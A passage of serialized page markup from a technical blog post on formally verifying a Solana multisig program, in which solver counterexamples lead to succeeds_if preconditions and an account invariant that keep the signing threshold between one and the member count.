}\n",[27949],{"type":22,"tag":30,"props":27950,"children":27951},{"__ignoreMap":7},[27952,27960],{"type":22,"tag":101,"props":27953,"children":27954},{"class":103,"line":104},[27955],{"type":22,"tag":101,"props":27956,"children":27957},{"style":120},[27958],{"type":27,"value":27959},"#[succeeds_if()]\n",{"type":22,"tag":101,"props":27961,"children":27962},{"class":103,"line":157},[27963,27967,27971,27975,27979,27983,27988,27992],{"type":22,"tag":101,"props":27964,"children":27965},{"style":108},[27966],{"type":27,"value":17693},{"type":22,"tag":101,"props":27968,"children":27969},{"style":108},[27970],{"type":27,"value":17698},{"type":22,"tag":101,"props":27972,"children":27973},{"style":926},[27974],{"type":27,"value":11132},{"type":22,"tag":101,"props":27976,"children":27977},{"style":120},[27978],{"type":27,"value":980},{"type":22,"tag":101,"props":27980,"children":27981},{"style":166},[27982],{"type":27,"value":614},{"type":22,"tag":101,"props":27984,"children":27985},{"style":120},[27986],{"type":27,"value":27987},") { ",{"type":22,"tag":101,"props":27989,"children":27990},{"style":166},[27991],{"type":27,"value":614},{"type":22,"tag":101,"props":27993,"children":27994},{"style":120},[27995],{"type":27,"value":13601},{"type":22,"tag":23,"props":27997,"children":27998},{},[27999],{"type":27,"value":28000},"Running the solver, we get:",{"type":22,"tag":91,"props":28002,"children":28004},{"code":28003},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[28005],{"type":22,"tag":30,"props":28006,"children":28007},{"__ignoreMap":7},[28008],{"type":27,"value":28003},{"type":22,"tag":23,"props":28010,"children":28011},{},[28012,28014,28019],{"type":27,"value":28013},"This means that ",{"type":22,"tag":30,"props":28015,"children":28017},{"className":28016},[],[28018],{"type":27,"value":5608},{"type":27,"value":28020}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":22,"tag":23,"props":28022,"children":28023},{},[28024],{"type":27,"value":28025},"We can ask the solver to produce a counterexample:",{"type":22,"tag":91,"props":28027,"children":28029},{"code":28028},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[28030],{"type":22,"tag":30,"props":28031,"children":28032},{"__ignoreMap":7},[28033],{"type":27,"value":28028},{"type":22,"tag":23,"props":28035,"children":28036},{},[28037],{"type":27,"value":28038},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":22,"tag":23,"props":28040,"children":28041},{},[28042],{"type":22,"tag":6961,"props":28043,"children":28044},{},[28045,28047,28053],{"type":27,"value":28046},"Note also that the verifier decided to use a ",{"type":22,"tag":30,"props":28048,"children":28050},{"className":28049},[],[28051],{"type":27,"value":28052},"SparseVec",{"type":27,"value":28054}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":22,"tag":23,"props":28056,"children":28057},{},[28058],{"type":22,"tag":6961,"props":28059,"children":28060},{},[28061,28063,28068,28069,28075,28077,28082,28084,28089],{"type":27,"value":28062},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":22,"tag":30,"props":28064,"children":28066},{"className":28065},[],[28067],{"type":27,"value":7852},{"type":27,"value":209},{"type":22,"tag":30,"props":28070,"children":28072},{"className":28071},[],[28073],{"type":27,"value":28074},"pop",{"type":27,"value":28076}," are stubbed out to simply panic for the ",{"type":22,"tag":30,"props":28078,"children":28080},{"className":28079},[],[28081],{"type":27,"value":28052},{"type":27,"value":28083}," and if this code tried to do that we would fall back to the concrete ",{"type":22,"tag":30,"props":28085,"children":28087},{"className":28086},[],[28088],{"type":27,"value":21208},{"type":27,"value":28090}," type.",{"type":22,"tag":23,"props":28092,"children":28093},{},[28094],{"type":27,"value":28095},"We can add this to our constraint and try again:",{"type":22,"tag":91,"props":28097,"children":28099},{"code":28098,"language":95,"meta":7,"className":93,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[28100],{"type":22,"tag":30,"props":28101,"children":28102},{"__ignoreMap":7},[28103,28111,28148,28155],{"type":22,"tag":101,"props":28104,"children":28105},{"class":103,"line":104},[28106],{"type":22,"tag":101,"props":28107,"children":28108},{"style":120},[28109],{"type":27,"value":28110},"#[succeeds_if(\n",{"type":22,"tag":101,"props":28112,"children":28113},{"class":103,"line":157},[28114,28119,28123,28127,28131,28135,28139,28143],{"type":22,"tag":101,"props":28115,"children":28116},{"style":120},[28117],{"type":27,"value":28118}," (threshold ",{"type":22,"tag":101,"props":28120,"children":28121},{"style":108},[28122],{"type":27,"value":12849},{"type":22,"tag":101,"props":28124,"children":28125},{"style":114},[28126],{"type":27,"value":17733},{"type":22,"tag":101,"props":28128,"children":28129},{"style":120},[28130],{"type":27,"value":901},{"type":22,"tag":101,"props":28132,"children":28133},{"style":166},[28134],{"type":27,"value":23405},{"type":22,"tag":101,"props":28136,"children":28137},{"style":120},[28138],{"type":27,"value":27371},{"type":22,"tag":101,"props":28140,"children":28141},{"style":166},[28142],{"type":27,"value":231},{"type":22,"tag":101,"props":28144,"children":28145},{"style":120},[28146],{"type":27,"value":28147},"len()\n",{"type":22,"tag":101,"props":28149,"children":28150},{"class":103,"line":182},[28151],{"type":22,"tag":101,"props":28152,"children":28153},{"style":120},[28154],{"type":27,"value":24250},{"type":22,"tag":101,"props":28156,"children":28157},{"class":103,"line":367},[28158,28162,28166,28170,28174,28178,28182,28186],{"type":22,"tag":101,"props":28159,"children":28160},{"style":108},[28161],{"type":27,"value":17693},{"type":22,"tag":101,"props":28163,"children":28164},{"style":108},[28165],{"type":27,"value":17698},{"type":22,"tag":101,"props":28167,"children":28168},{"style":926},[28169],{"type":27,"value":11132},{"type":22,"tag":101,"props":28171,"children":28172},{"style":120},[28173],{"type":27,"value":980},{"type":22,"tag":101,"props":28175,"children":28176},{"style":166},[28177],{"type":27,"value":614},{"type":22,"tag":101,"props":28179,"children":28180},{"style":120},[28181],{"type":27,"value":27987},{"type":22,"tag":101,"props":28183,"children":28184},{"style":166},[28185],{"type":27,"value":614},{"type":22,"tag":101,"props":28187,"children":28188},{"style":120},[28189],{"type":27,"value":13601},{"type":22,"tag":23,"props":28191,"children":28192},{},[28193],{"type":27,"value":28194},"Verification failed again! This time we get a different counterexample:",{"type":22,"tag":91,"props":28196,"children":28198},{"code":28197},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[28199],{"type":22,"tag":30,"props":28200,"children":28201},{"__ignoreMap":7},[28202],{"type":27,"value":28197},{"type":22,"tag":23,"props":28204,"children":28205},{},[28206],{"type":27,"value":28207},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":22,"tag":91,"props":28209,"children":28211},{"code":28210,"language":95,"meta":7,"className":93,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && threshold != 0\n)]\npub fn create(...) { ... }\n",[28212],{"type":22,"tag":30,"props":28213,"children":28214},{"__ignoreMap":7},[28215,28222,28257,28278,28285],{"type":22,"tag":101,"props":28216,"children":28217},{"class":103,"line":104},[28218],{"type":22,"tag":101,"props":28219,"children":28220},{"style":120},[28221],{"type":27,"value":28110},{"type":22,"tag":101,"props":28223,"children":28224},{"class":103,"line":157},[28225,28229,28233,28237,28241,28245,28249,28253],{"type":22,"tag":101,"props":28226,"children":28227},{"style":120},[28228],{"type":27,"value":28118},{"type":22,"tag":101,"props":28230,"children":28231},{"style":108},[28232],{"type":27,"value":12849},{"type":22,"tag":101,"props":28234,"children":28235},{"style":114},[28236],{"type":27,"value":17733},{"type":22,"tag":101,"props":28238,"children":28239},{"style":120},[28240],{"type":27,"value":901},{"type":22,"tag":101,"props":28242,"children":28243},{"style":166},[28244],{"type":27,"value":23405},{"type":22,"tag":101,"props":28246,"children":28247},{"style":120},[28248],{"type":27,"value":27371},{"type":22,"tag":101,"props":28250,"children":28251},{"style":166},[28252],{"type":27,"value":231},{"type":22,"tag":101,"props":28254,"children":28255},{"style":120},[28256],{"type":27,"value":28147},{"type":22,"tag":101,"props":28258,"children":28259},{"class":103,"line":182},[28260,28264,28269,28273],{"type":22,"tag":101,"props":28261,"children":28262},{"style":166},[28263],{"type":27,"value":19619},{"type":22,"tag":101,"props":28265,"children":28266},{"style":120},[28267],{"type":27,"value":28268}," threshold ",{"type":22,"tag":101,"props":28270,"children":28271},{"style":166},[28272],{"type":27,"value":19686},{"type":22,"tag":101,"props":28274,"children":28275},{"style":120},[28276],{"type":27,"value":28277}," 0\n",{"type":22,"tag":101,"props":28279,"children":28280},{"class":103,"line":367},[28281],{"type":22,"tag":101,"props":28282,"children":28283},{"style":120},[28284],{"type":27,"value":24250},{"type":22,"tag":101,"props":28286,"children":28287},{"class":103,"line":398},[28288,28292,28296,28300,28304,28308,28312,28316],{"type":22,"tag":101,"props":28289,"children":28290},{"style":108},[28291],{"type":27,"value":17693},{"type":22,"tag":101,"props":28293,"children":28294},{"style":108},[28295],{"type":27,"value":17698},{"type":22,"tag":101,"props":28297,"children":28298},{"style":926},[28299],{"type":27,"value":11132},{"type":22,"tag":101,"props":28301,"children":28302},{"style":120},[28303],{"type":27,"value":980},{"type":22,"tag":101,"props":28305,"children":28306},{"style":166},[28307],{"type":27,"value":614},{"type":22,"tag":101,"props":28309,"children":28310},{"style":120},[28311],{"type":27,"value":27987},{"type":22,"tag":101,"props":28313,"children":28314},{"style":166},[28315],{"type":27,"value":614},{"type":22,"tag":101,"props":28317,"children":28318},{"style":120},[28319],{"type":27,"value":13601},{"type":22,"tag":23,"props":28321,"children":28322},{},[28323],{"type":27,"value":28324},"A third counterexample:",{"type":22,"tag":91,"props":28326,"children":28328},{"code":28327},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[28329],{"type":22,"tag":30,"props":28330,"children":28331},{"__ignoreMap":7},[28332],{"type":27,"value":28327},{"type":22,"tag":23,"props":28334,"children":28335},{},[28336,28338,28344],{"type":27,"value":28337},"Here we see the size of our ",{"type":22,"tag":30,"props":28339,"children":28341},{"className":28340},[],[28342],{"type":27,"value":28343},"members",{"type":27,"value":28345}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":22,"tag":91,"props":28347,"children":28349},{"code":28348,"language":95,"meta":7,"className":93,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && (threshold != 0)\n && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[28350],{"type":22,"tag":30,"props":28351,"children":28352},{"__ignoreMap":7},[28353,28360,28395,28416,28468,28475],{"type":22,"tag":101,"props":28354,"children":28355},{"class":103,"line":104},[28356],{"type":22,"tag":101,"props":28357,"children":28358},{"style":120},[28359],{"type":27,"value":28110},{"type":22,"tag":101,"props":28361,"children":28362},{"class":103,"line":157},[28363,28367,28371,28375,28379,28383,28387,28391],{"type":22,"tag":101,"props":28364,"children":28365},{"style":120},[28366],{"type":27,"value":28118},{"type":22,"tag":101,"props":28368,"children":28369},{"style":108},[28370],{"type":27,"value":12849},{"type":22,"tag":101,"props":28372,"children":28373},{"style":114},[28374],{"type":27,"value":17733},{"type":22,"tag":101,"props":28376,"children":28377},{"style":120},[28378],{"type":27,"value":901},{"type":22,"tag":101,"props":28380,"children":28381},{"style":166},[28382],{"type":27,"value":23405},{"type":22,"tag":101,"props":28384,"children":28385},{"style":120},[28386],{"type":27,"value":27371},{"type":22,"tag":101,"props":28388,"children":28389},{"style":166},[28390],{"type":27,"value":231},{"type":22,"tag":101,"props":28392,"children":28393},{"style":120},[28394],{"type":27,"value":28147},{"type":22,"tag":101,"props":28396,"children":28397},{"class":103,"line":182},[28398,28402,28407,28411],{"type":22,"tag":101,"props":28399,"children":28400},{"style":166},[28401],{"type":27,"value":19619},{"type":22,"tag":101,"props":28403,"children":28404},{"style":120},[28405],{"type":27,"value":28406}," (threshold ",{"type":22,"tag":101,"props":28408,"children":28409},{"style":166},[28410],{"type":27,"value":19686},{"type":22,"tag":101,"props":28412,"children":28413},{"style":120},[28414],{"type":27,"value":28415}," 0)\n",{"type":22,"tag":101,"props":28417,"children":28418},{"class":103,"line":367},[28419,28423,28427,28431,28435,28439,28443,28448,28452,28456,28460,28464],{"type":22,"tag":101,"props":28420,"children":28421},{"style":166},[28422],{"type":27,"value":19619},{"type":22,"tag":101,"props":28424,"children":28425},{"style":120},[28426],{"type":27,"value":26986},{"type":22,"tag":101,"props":28428,"children":28429},{"style":166},[28430],{"type":27,"value":231},{"type":22,"tag":101,"props":28432,"children":28433},{"style":120},[28434],{"type":27,"value":25008},{"type":22,"tag":101,"props":28436,"children":28437},{"style":166},[28438],{"type":27,"value":23405},{"type":22,"tag":101,"props":28440,"children":28441},{"style":120},[28442],{"type":27,"value":3603},{"type":22,"tag":101,"props":28444,"children":28445},{"style":114},[28446],{"type":27,"value":28447},"u16",{"type":22,"tag":101,"props":28449,"children":28450},{"style":166},[28451],{"type":27,"value":970},{"type":22,"tag":101,"props":28453,"children":28454},{"style":114},[28455],{"type":27,"value":25026},{"type":22,"tag":101,"props":28457,"children":28458},{"style":108},[28459],{"type":27,"value":12835},{"type":22,"tag":101,"props":28461,"children":28462},{"style":114},[28463],{"type":27,"value":17733},{"type":22,"tag":101,"props":28465,"children":28466},{"style":120},[28467],{"type":27,"value":23703},{"type":22,"tag":101,"props":28469,"children":28470},{"class":103,"line":398},[28471],{"type":22,"tag":101,"props":28472,"children":28473},{"style":120},[28474],{"type":27,"value":24250},{"type":22,"tag":101,"props":28476,"children":28477},{"class":103,"line":428},[28478,28482,28486,28490,28494,28498,28502,28506],{"type":22,"tag":101,"props":28479,"children":28480},{"style":108},[28481],{"type":27,"value":17693},{"type":22,"tag":101,"props":28483,"children":28484},{"style":108},[28485],{"type":27,"value":17698},{"type":22,"tag":101,"props":28487,"children":28488},{"style":926},[28489],{"type":27,"value":11132},{"type":22,"tag":101,"props":28491,"children":28492},{"style":120},[28493],{"type":27,"value":980},{"type":22,"tag":101,"props":28495,"children":28496},{"style":166},[28497],{"type":27,"value":614},{"type":22,"tag":101,"props":28499,"children":28500},{"style":120},[28501],{"type":27,"value":27987},{"type":22,"tag":101,"props":28503,"children":28504},{"style":166},[28505],{"type":27,"value":614},{"type":22,"tag":101,"props":28507,"children":28508},{"style":120},[28509],{"type":27,"value":13601},{"type":22,"tag":23,"props":28511,"children":28512},{},[28513],{"type":27,"value":28514},"And now we get:",{"type":22,"tag":91,"props":28516,"children":28518},{"code":28517},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[28519],{"type":22,"tag":30,"props":28520,"children":28521},{"__ignoreMap":7},[28522],{"type":27,"value":28517},{"type":22,"tag":23,"props":28524,"children":28525},{},[28526],{"type":27,"value":28527},"🥳🥳🥳",{"type":22,"tag":23,"props":28529,"children":28530},{},[28531],{"type":27,"value":28532},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":22,"tag":91,"props":28534,"children":28536},{"code":28535,"language":95,"meta":7,"className":93,"style":7},"if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n}\n",[28537],{"type":22,"tag":30,"props":28538,"children":28539},{"__ignoreMap":7},[28540,28563,28594],{"type":22,"tag":101,"props":28541,"children":28542},{"class":103,"line":104},[28543,28547,28551,28555,28559],{"type":22,"tag":101,"props":28544,"children":28545},{"style":3595},[28546],{"type":27,"value":19578},{"type":22,"tag":101,"props":28548,"children":28549},{"style":126},[28550],{"type":27,"value":27450},{"type":22,"tag":101,"props":28552,"children":28553},{"style":166},[28554],{"type":27,"value":12726},{"type":22,"tag":101,"props":28556,"children":28557},{"style":1544},[28558],{"type":27,"value":3648},{"type":22,"tag":101,"props":28560,"children":28561},{"style":120},[28562],{"type":27,"value":154},{"type":22,"tag":101,"props":28564,"children":28565},{"class":103,"line":157},[28566,28570,28574,28578,28582,28586,28590],{"type":22,"tag":101,"props":28567,"children":28568},{"style":3595},[28569],{"type":27,"value":20986},{"type":22,"tag":101,"props":28571,"children":28572},{"style":926},[28573],{"type":27,"value":27506},{"type":22,"tag":101,"props":28575,"children":28576},{"style":120},[28577],{"type":27,"value":980},{"type":22,"tag":101,"props":28579,"children":28580},{"style":114},[28581],{"type":27,"value":27515},{"type":22,"tag":101,"props":28583,"children":28584},{"style":166},[28585],{"type":27,"value":970},{"type":22,"tag":101,"props":28587,"children":28588},{"style":114},[28589],{"type":27,"value":27524},{"type":22,"tag":101,"props":28591,"children":28592},{"style":120},[28593],{"type":27,"value":994},{"type":22,"tag":101,"props":28595,"children":28596},{"class":103,"line":182},[28597],{"type":22,"tag":101,"props":28598,"children":28599},{"style":120},[28600],{"type":27,"value":188},{"type":22,"tag":23,"props":28602,"children":28603},{},[28604,28606,28612,28614,28619,28621,28626,28628,28633],{"type":27,"value":28605},"In this case this is actually redundant because if ",{"type":22,"tag":30,"props":28607,"children":28609},{"className":28608},[],[28610],{"type":27,"value":28611},"members.len() == 0",{"type":27,"value":28613}," then our threshold would also have to be ",{"type":22,"tag":30,"props":28615,"children":28617},{"className":28616},[],[28618],{"type":27,"value":8065},{"type":27,"value":28620}," (and our ",{"type":22,"tag":30,"props":28622,"children":28624},{"className":28623},[],[28625],{"type":27,"value":26737},{"type":27,"value":28627}," is not allowed to be ",{"type":22,"tag":30,"props":28629,"children":28631},{"className":28630},[],[28632],{"type":27,"value":8065},{"type":27,"value":28634},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":22,"tag":1760,"props":28636,"children":28638},{"id":28637},"_2-verify-threshold-requirements",[28639],{"type":27,"value":28640},"2. Verify threshold requirements",{"type":22,"tag":23,"props":28642,"children":28643},{},[28644],{"type":27,"value":28645},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":22,"tag":23,"props":28647,"children":28648},{},[28649,28651,28655],{"type":27,"value":28650},"Unlike the previous example, we want to verify this in ",{"type":22,"tag":6961,"props":28652,"children":28653},{},[28654],{"type":27,"value":13309},{"type":27,"value":28656}," cases. I.e. any instruction that could mutate the multisig account.",{"type":22,"tag":23,"props":28658,"children":28659},{},[28660,28662,28666,28668,28673],{"type":27,"value":28661},"In this case, we want to model this as an ",{"type":22,"tag":6961,"props":28663,"children":28664},{},[28665],{"type":27,"value":25765},{"type":27,"value":28667}," on the ",{"type":22,"tag":30,"props":28669,"children":28671},{"className":28670},[],[28672],{"type":27,"value":26729},{"type":27,"value":28674}," account struct:",{"type":22,"tag":91,"props":28676,"children":28678},{"code":28677,"language":95,"meta":7,"className":93,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[28679],{"type":22,"tag":30,"props":28680,"children":28681},{"__ignoreMap":7},[28682,28689,28714,28721,28745,28796,28803,28822,28849,28876,28903,28930,28957,28984,29011,29046],{"type":22,"tag":101,"props":28683,"children":28684},{"class":103,"line":104},[28685],{"type":22,"tag":101,"props":28686,"children":28687},{"style":120},[28688],{"type":27,"value":24758},{"type":22,"tag":101,"props":28690,"children":28691},{"class":103,"line":157},[28692,28696,28701,28705,28710],{"type":22,"tag":101,"props":28693,"children":28694},{"style":120},[28695],{"type":27,"value":26825},{"type":22,"tag":101,"props":28697,"children":28698},{"style":114},[28699],{"type":27,"value":28700},"Clone",{"type":22,"tag":101,"props":28702,"children":28703},{"style":120},[28704],{"type":27,"value":758},{"type":22,"tag":101,"props":28706,"children":28707},{"style":114},[28708],{"type":27,"value":28709},"Debug",{"type":22,"tag":101,"props":28711,"children":28712},{"style":120},[28713],{"type":27,"value":24250},{"type":22,"tag":101,"props":28715,"children":28716},{"class":103,"line":182},[28717],{"type":22,"tag":101,"props":28718,"children":28719},{"style":120},[28720],{"type":27,"value":24766},{"type":22,"tag":101,"props":28722,"children":28723},{"class":103,"line":367},[28724,28729,28733,28737,28741],{"type":22,"tag":101,"props":28725,"children":28726},{"style":120},[28727],{"type":27,"value":28728}," (self",{"type":22,"tag":101,"props":28730,"children":28731},{"style":166},[28732],{"type":27,"value":231},{"type":22,"tag":101,"props":28734,"children":28735},{"style":120},[28736],{"type":27,"value":25058},{"type":22,"tag":101,"props":28738,"children":28739},{"style":166},[28740],{"type":27,"value":13949},{"type":22,"tag":101,"props":28742,"children":28743},{"style":120},[28744],{"type":27,"value":25067},{"type":22,"tag":101,"props":28746,"children":28747},{"class":103,"line":398},[28748,28752,28756,28760,28764,28768,28772,28776,28780,28784,28788,28792],{"type":22,"tag":101,"props":28749,"children":28750},{"style":166},[28751],{"type":27,"value":19619},{"type":22,"tag":101,"props":28753,"children":28754},{"style":120},[28755],{"type":27,"value":24991},{"type":22,"tag":101,"props":28757,"children":28758},{"style":166},[28759],{"type":27,"value":231},{"type":22,"tag":101,"props":28761,"children":28762},{"style":120},[28763],{"type":27,"value":25058},{"type":22,"tag":101,"props":28765,"children":28766},{"style":108},[28767],{"type":27,"value":12849},{"type":22,"tag":101,"props":28769,"children":28770},{"style":114},[28771],{"type":27,"value":17733},{"type":22,"tag":101,"props":28773,"children":28774},{"style":166},[28775],{"type":27,"value":12206},{"type":22,"tag":101,"props":28777,"children":28778},{"style":120},[28779],{"type":27,"value":17799},{"type":22,"tag":101,"props":28781,"children":28782},{"style":166},[28783],{"type":27,"value":231},{"type":22,"tag":101,"props":28785,"children":28786},{"style":120},[28787],{"type":27,"value":24970},{"type":22,"tag":101,"props":28789,"children":28790},{"style":166},[28791],{"type":27,"value":231},{"type":22,"tag":101,"props":28793,"children":28794},{"style":120},[28795],{"type":27,"value":25119},{"type":22,"tag":101,"props":28797,"children":28798},{"class":103,"line":428},[28799],{"type":22,"tag":101,"props":28800,"children":28801},{"style":120},[28802],{"type":27,"value":24250},{"type":22,"tag":101,"props":28804,"children":28805},{"class":103,"line":997},[28806,28810,28814,28818],{"type":22,"tag":101,"props":28807,"children":28808},{"style":108},[28809],{"type":27,"value":17693},{"type":22,"tag":101,"props":28811,"children":28812},{"style":108},[28813],{"type":27,"value":25138},{"type":22,"tag":101,"props":28815,"children":28816},{"style":114},[28817],{"type":27,"value":25143},{"type":22,"tag":101,"props":28819,"children":28820},{"style":120},[28821],{"type":27,"value":154},{"type":22,"tag":101,"props":28823,"children":28824},{"class":103,"line":1032},[28825,28829,28833,28837,28841,28845],{"type":22,"tag":101,"props":28826,"children":28827},{"style":108},[28828],{"type":27,"value":24830},{"type":22,"tag":101,"props":28830,"children":28831},{"style":126},[28832],{"type":27,"value":25159},{"type":22,"tag":101,"props":28834,"children":28835},{"style":166},[28836],{"type":27,"value":169},{"type":22,"tag":101,"props":28838,"children":28839},{"style":114},[28840],{"type":27,"value":25017},{"type":22,"tag":101,"props":28842,"children":28843},{"style":120},[28844],{"type":27,"value":25172},{"type":22,"tag":101,"props":28846,"children":28847},{"style":2215},[28848],{"type":27,"value":25177},{"type":22,"tag":101,"props":28850,"children":28851},{"class":103,"line":1063},[28852,28856,28860,28864,28868,28872],{"type":22,"tag":101,"props":28853,"children":28854},{"style":108},[28855],{"type":27,"value":24830},{"type":22,"tag":101,"props":28857,"children":28858},{"style":126},[28859],{"type":27,"value":25189},{"type":22,"tag":101,"props":28861,"children":28862},{"style":166},[28863],{"type":27,"value":169},{"type":22,"tag":101,"props":28865,"children":28866},{"style":114},[28867],{"type":27,"value":25017},{"type":22,"tag":101,"props":28869,"children":28870},{"style":120},[28871],{"type":27,"value":25202},{"type":22,"tag":101,"props":28873,"children":28874},{"style":2215},[28875],{"type":27,"value":25207},{"type":22,"tag":101,"props":28877,"children":28878},{"class":103,"line":1071},[28879,28883,28887,28891,28895,28899],{"type":22,"tag":101,"props":28880,"children":28881},{"style":108},[28882],{"type":27,"value":24830},{"type":22,"tag":101,"props":28884,"children":28885},{"style":126},[28886],{"type":27,"value":25219},{"type":22,"tag":101,"props":28888,"children":28889},{"style":166},[28890],{"type":27,"value":169},{"type":22,"tag":101,"props":28892,"children":28893},{"style":114},[28894],{"type":27,"value":21547},{"type":22,"tag":101,"props":28896,"children":28897},{"style":120},[28898],{"type":27,"value":25232},{"type":22,"tag":101,"props":28900,"children":28901},{"style":2215},[28902],{"type":27,"value":25237},{"type":22,"tag":101,"props":28904,"children":28905},{"class":103,"line":1110},[28906,28910,28914,28918,28922,28926],{"type":22,"tag":101,"props":28907,"children":28908},{"style":108},[28909],{"type":27,"value":24830},{"type":22,"tag":101,"props":28911,"children":28912},{"style":126},[28913],{"type":27,"value":25249},{"type":22,"tag":101,"props":28915,"children":28916},{"style":166},[28917],{"type":27,"value":169},{"type":22,"tag":101,"props":28919,"children":28920},{"style":114},[28921],{"type":27,"value":21547},{"type":22,"tag":101,"props":28923,"children":28924},{"style":120},[28925],{"type":27,"value":25202},{"type":22,"tag":101,"props":28927,"children":28928},{"style":2215},[28929],{"type":27,"value":25266},{"type":22,"tag":101,"props":28931,"children":28932},{"class":103,"line":1118},[28933,28937,28941,28945,28949,28953],{"type":22,"tag":101,"props":28934,"children":28935},{"style":108},[28936],{"type":27,"value":24830},{"type":22,"tag":101,"props":28938,"children":28939},{"style":126},[28940],{"type":27,"value":25278},{"type":22,"tag":101,"props":28942,"children":28943},{"style":166},[28944],{"type":27,"value":169},{"type":22,"tag":101,"props":28946,"children":28947},{"style":114},[28948],{"type":27,"value":18636},{"type":22,"tag":101,"props":28950,"children":28951},{"style":120},[28952],{"type":27,"value":25291},{"type":22,"tag":101,"props":28954,"children":28955},{"style":2215},[28956],{"type":27,"value":25296},{"type":22,"tag":101,"props":28958,"children":28959},{"class":103,"line":1158},[28960,28964,28968,28972,28976,28980],{"type":22,"tag":101,"props":28961,"children":28962},{"style":108},[28963],{"type":27,"value":24830},{"type":22,"tag":101,"props":28965,"children":28966},{"style":126},[28967],{"type":27,"value":25308},{"type":22,"tag":101,"props":28969,"children":28970},{"style":166},[28971],{"type":27,"value":169},{"type":22,"tag":101,"props":28973,"children":28974},{"style":114},[28975],{"type":27,"value":24844},{"type":22,"tag":101,"props":28977,"children":28978},{"style":120},[28979],{"type":27,"value":25321},{"type":22,"tag":101,"props":28981,"children":28982},{"style":2215},[28983],{"type":27,"value":25326},{"type":22,"tag":101,"props":28985,"children":28986},{"class":103,"line":1166},[28987,28991,28995,28999,29003,29007],{"type":22,"tag":101,"props":28988,"children":28989},{"style":108},[28990],{"type":27,"value":24830},{"type":22,"tag":101,"props":28992,"children":28993},{"style":126},[28994],{"type":27,"value":25338},{"type":22,"tag":101,"props":28996,"children":28997},{"style":166},[28998],{"type":27,"value":169},{"type":22,"tag":101,"props":29000,"children":29001},{"style":114},[29002],{"type":27,"value":360},{"type":22,"tag":101,"props":29004,"children":29005},{"style":120},[29006],{"type":27,"value":758},{"type":22,"tag":101,"props":29008,"children":29009},{"style":2215},[29010],{"type":27,"value":25355},{"type":22,"tag":101,"props":29012,"children":29013},{"class":103,"line":1215},[29014,29018,29022,29026,29030,29034,29038,29042],{"type":22,"tag":101,"props":29015,"children":29016},{"style":108},[29017],{"type":27,"value":24830},{"type":22,"tag":101,"props":29019,"children":29020},{"style":126},[29021],{"type":27,"value":25367},{"type":22,"tag":101,"props":29023,"children":29024},{"style":166},[29025],{"type":27,"value":169},{"type":22,"tag":101,"props":29027,"children":29028},{"style":114},[29029],{"type":27,"value":25376},{"type":22,"tag":101,"props":29031,"children":29032},{"style":120},[29033],{"type":27,"value":123},{"type":22,"tag":101,"props":29035,"children":29036},{"style":114},[29037],{"type":27,"value":25385},{"type":22,"tag":101,"props":29039,"children":29040},{"style":120},[29041],{"type":27,"value":25390},{"type":22,"tag":101,"props":29043,"children":29044},{"style":2215},[29045],{"type":27,"value":25395},{"type":22,"tag":101,"props":29047,"children":29048},{"class":103,"line":2425},[29049],{"type":22,"tag":101,"props":29050,"children":29051},{"style":120},[29052],{"type":27,"value":188},{"type":22,"tag":23,"props":29054,"children":29055},{},[29056,29058,29063],{"type":27,"value":29057},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":22,"tag":30,"props":29059,"children":29061},{"className":29060},[],[29062],{"type":27,"value":26729},{"type":27,"value":29064}," object will be checked to ensure that the invariant still holds after modification.",{"type":22,"tag":23,"props":29066,"children":29067},{},[29068,29070,29075],{"type":27,"value":29069},"Let's try this on the ",{"type":22,"tag":30,"props":29071,"children":29073},{"className":29072},[],[29074],{"type":27,"value":26808},{"type":27,"value":29076}," instruction that we've already seen:",{"type":22,"tag":91,"props":29078,"children":29080},{"code":29079},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[29081],{"type":22,"tag":30,"props":29082,"children":29083},{"__ignoreMap":7},[29084],{"type":27,"value":29079},{"type":22,"tag":23,"props":29086,"children":29087},{},[29088,29090,29095],{"type":27,"value":29089},"To ensure this is working, we can test by commenting out this check from ",{"type":22,"tag":30,"props":29091,"children":29093},{"className":29092},[],[29094],{"type":27,"value":26808},{"type":27,"value":169},{"type":22,"tag":91,"props":29097,"children":29099},{"code":29098,"language":95,"meta":7,"className":93,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n// return err!(MsError::InvalidThreshold);\n// 